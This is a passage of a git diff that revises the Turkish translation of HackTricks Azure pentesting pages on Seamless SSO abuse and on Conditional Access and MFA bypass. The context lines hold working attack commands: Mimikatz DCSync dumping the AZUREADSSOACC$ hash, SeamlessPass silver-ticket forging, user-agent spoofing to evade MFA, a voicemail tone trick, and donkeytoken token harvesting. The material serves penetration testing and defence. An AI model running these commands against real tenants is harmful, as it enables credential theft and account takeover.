yöntemde olduğu gibi). ### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) -[Bu blog yazısında açıklandığı gibi](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), önceki gereksinimlerden herhangi birine sahip olmak, **SeamlessPass** aracını kullanarak bulut kaynaklarına tehlikeye atılmış kullanıcı olarak veya **`AZUREADSSOACC$`** hesabı hash'i veya şifresi varsa herhangi bir kullanıcı olarak erişmek için çok kolaydır. +[Bu blog yazısında açıklandığı gibi](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), önceki gereksinimlerden herhangi birine sahip olmak, **SeamlessPass** aracını kullanarak bulut kaynaklarına tehlikeye atılmış kullanıcı olarak veya **`AZUREADSSOACC$`** hesabı hash'i veya şifresi varsa herhangi bir kullanıcı olarak erişim sağlamak için çok kolaydır. Son olarak, TGT ile [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) aracını kullanmak mümkündür: ```bash @@ -65,12 +65,12 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 wmic useraccount get name,sid # Get the user SIDs ``` -Daha fazla bilgi için Firefox'un sorunsuz SSO ile çalışmasını sağlamak üzere [**bu blog yazısında**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) bulunabilir. +Daha fazla bilgi için Firefox'un seamless SSO ile çalışmasını sağlamak üzere [**bu blog yazısında**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) bulunabilir. ### AZUREADSSOACC$ hesabının hash'lerini alma -Kullanıcı **`AZUREADSSOACC$`**'nın **şifresi** asla **değişmez**. Bu nedenle, bir alan yöneticisi bu **hesabın hash'ini** ele geçirebilir ve ardından **herhangi bir senkronize edilmiş yerel kullanıcıyla** Azure'a bağlanmak için **gümüş biletler** oluşturmak için kullanabilir: +Kullanıcının **`AZUREADSSOACC$`** **şifresi** asla değişmez. Bu nedenle, bir alan yöneticisi bu **hesabın hash'ini** ele geçirebilir ve ardından **herhangi bir yerel kullanıcıyla senkronize** Azure'a bağlanmak için **gümüş biletler** oluşturmak için kullanabilir: ```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' @@ -94,7 +94,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' #### Silver Biletler Oluşturma -Hash ile artık **silver biletler** oluşturabilirsiniz: +Hash ile artık **gümüş biletler** oluşturabilirsiniz: ```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index c00dd5225..5d78fa040 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,4 +1,4 @@ -# Az - Koşullu Erişim Politikaları ve MFA Atlatma +# Az - Koşullu Erişim Politikaları & MFA Atlatma {{#include ../../../../banners/hacktricks-training.md}} @@ -33,39 +33,39 @@ Ayrıca, politikayı **tetikleyecek** **koşulların** yapılandırılması gere - **Microsoft riskleri**: Kullanıcı riski, Giriş riski, İçeriden gelen risk - **Cihaz platformları**: Herhangi bir cihaz veya Android, iOS, Windows phone, Windows, macOS, Linux seçilebilir - “Herhangi bir cihaz” seçilmediğinde ancak diğer tüm seçenekler seçildiğinde, bu platformlarla ilgili olmayan rastgele bir kullanıcı aracısı kullanarak aşmak mümkündür -- **İstemci uygulamaları**: Seçenekler “Tarayıcı”, “Mobil uygulamalar ve masaüstü istemcileri”, “Exchange ActiveSync istemcileri” ve “Diğer istemciler” +- **İstemci uygulamaları**: Seçenekler “Tarayıcı”, “Mobil uygulamalar ve masaüstü istemciler”, “Exchange ActiveSync istemcileri” ve “Diğer istemciler” - Seçilmeyen bir seçenekle giriş yaparak aşmak - **Cihazlar için filtre**: Kullanılan cihaza ilişkin bir kural oluşturmak mümkündür - **Kimlik doğrulama akışları**: Seçenekler “Cihaz kodu akışı” ve “Kimlik doğrulama transferi” -- Bu, bir saldırganı etkilemeyecektir, yalnızca bu protokollerden herhangi birini bir oltalama girişiminde kötüye kullanmaya çalışıyorsa +- Bu, saldırganı etkilemeyecektir, yalnızca bu protokollerden herhangi birini bir kimlik avı girişiminde kurbanın hesabına erişmek için kötüye kullanmaya çalışıyorsa -Olası **sonuçlar**: Erişimi engelle veya MFA, uyumlu cihaz gerektiren potansiyel koşullarla erişim ver. +Olası **sonuçlar**: Erişimi engelle veya MFA, cihazın uyumlu olmasını gerektiren potansiyel koşullarla erişim izni ver. ### Cihaz Platformları - Cihaz Koşulu -Bir **cihaz platformuna** (Android, iOS, Windows, macOS...) dayalı bir koşul ayarlamak mümkündür, ancak bu **kullanıcı aracısına** dayandığı için aşılması kolaydır. Tüm seçenekleri MFA'yı zorlamak için ayarlasanız bile, **tanınmayan bir kullanıcı aracısı** kullanıyorsanız, MFA'yı veya engellemeyi aşabileceksiniz: +**Cihaz platformuna** (Android, iOS, Windows, macOS...) dayalı bir koşul belirlemek mümkündür, ancak bu **kullanıcı aracısına** dayandığı için aşılması kolaydır. Tüm seçenekler MFA'yı zorunlu kılacak şekilde yapılandırılsa bile, **tanınmayan bir kullanıcı aracısı** kullanırsanız, MFA'yı veya engeli aşabileceksiniz:
-Tarayıcının **bilinmeyen bir kullanıcı aracısı göndermesini sağlamak** (örneğin `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) bu koşulu tetiklememek için yeterlidir.\ -Kullanıcı aracısını **manuel olarak** geliştirici araçlarında değiştirebilirsiniz: +Tarayıcının **bilinmeyen bir kullanıcı aracısı göndermesi** (örneğin `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) bu koşulu tetiklememek için yeterlidir.\ +Geliştirici araçlarında kullanıcı aracısını **manuel olarak** değiştirebilirsiniz:
-Veya [bunun gibi bir tarayıcı uzantısı](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) kullanabilirsiniz. +Ya da [bunun gibi bir tarayıcı uzantısı](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) kullanabilirsiniz. -### Konumlar: Ülkeler, IP aralıkları - Cihaz Koşulu +### Lokasyonlar: Ülkeler, IP aralıkları - Cihaz Koşulu Bu koşullu politikada ayarlandığında, bir saldırgan sadece **izin verilen ülkede** bir **VPN** kullanabilir veya bu koşulları aşmak için **izin verilen bir IP adresinden** erişim sağlamanın bir yolunu bulmaya çalışabilir. ### Bulut Uygulamaları -Bir kullanıcı **belirli bir uygulamaya** erişmeye çalıştığında, örneğin MFA'yı engellemek veya zorlamak için **koşullu erişim politikaları yapılandırmak mümkündür**: +Bir kullanıcı **belirli bir uygulamaya** erişmeye çalıştığında, örneğin MFA'yı engellemek veya zorlamak için **koşullu erişim politikaları yapılandırmak** mümkündür:
Bu korumayı aşmaya çalışmak için, **sadece herhangi bir uygulamaya** giriş yapıp yapamayacağınıza bakmalısınız.\ -[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) aracı, **hardcoded** olarak **onlarca uygulama kimliği** içerir ve bunlara giriş yapmaya çalışır, başarılı olursa size token bile verebilir. +[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) aracı, **onlarca uygulama kimliğini sabit kodlamış** ve bunlara giriş yapmayı deneyecek, başarılı olursa size token verecektir. **Belirli kaynaklarda belirli uygulama kimliklerini test etmek** için ayrıca şu aracı kullanabilirsiniz: ```bash @@ -83,10 +83,10 @@ Araç [**ROPCI**](https://github.com/wunderwuzzi23/ropci) bu korumaları test et ### Zil sesi -Bir Azure MFA seçeneği, **yapılandırılmış telefon numarasına bir çağrı almak** ve kullanıcının **`#` karakterini göndermesi** istenecektir. +Bir Azure MFA seçeneği, **yapılandırılmış telefon numarasına bir çağrı almak** ve kullanıcıdan **`#` karakterini göndermesini istemektir**. > [!CAUTION] -> Karakterler sadece **tonlar** olduğundan, bir saldırgan **telefon numarasının** **sesli mesajını** **tehdit edebilir**, mesaj olarak **`#` tonunu** ayarlayabilir ve ardından MFA talep edildiğinde **kurbanın telefonunun meşgul** olmasını (aramak) sağlayarak Azure çağrısının sesli mesaja yönlendirilmesini sağlayabilir. +> Karakterler sadece **tonlar** olduğundan, bir saldırgan **telefon numarasının** **sesli mesajını** **tehdit edebilir**, mesaj olarak **`#` tonunu** ayarlayabilir ve ardından MFA talep edildiğinde **kurbanın telefonunun meşgul olmasını** (aramak suretiyle) sağlayarak Azure çağrısının sesli mesaja yönlendirilmesini sağlayabilir. ### Uyumlu Cihazlar @@ -105,7 +105,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken Aşağıdaki sayfada bu tür bir saldırı hakkında daha fazla bilgi bulabilirsiniz: {{#ref}} -../../az-lateral-movement-cloud-on-prem/pass-the-prt.md +../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} ## Araçlar @@ -143,7 +143,7 @@ Bu araç, MFA atlatmalarını tanımlamaya ve ardından birden fazla üretim AAD ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token, Conditional Access Policies'ı doğrulamak, 2FA etkinleştirilmiş Microsoft portalları için testler yapmak gibi ihtiyaçları olan güvenlik danışmanlarına yardımcı olmayı amaçlayan bir dizi işlevdir. +Donkey token, Conditional Access Policies'ı doğrulamak, 2FA etkin Microsoft portalları için testler yapmak gibi ihtiyaçları olan güvenlik danışmanlarına yardımcı olmayı amaçlayan bir dizi işlevdir.
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
@@ -156,7 +156,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
 $cred = New-Object System.Management.Automation.PSCredential($username, $password)
 Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
 ```
-Çünkü **Azure** **portalı** **kısıtlanmamıştır**, önceki yürütme ile tespit edilen herhangi bir hizmete erişmek için portal uç noktasından bir **token** toplamak mümkündür. Bu durumda Sharepoint tanımlandı ve ona erişmek için bir **token** talep ediliyor:
+**Azure** **portal** kısıtlanmadığı için, önceki yürütme ile tespit edilen herhangi bir hizmete erişmek için portal uç noktasından bir token toplamak mümkündür. Bu durumda Sharepoint tanımlandı ve ona erişmek için bir token talep ediliyor:
 ```bash
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token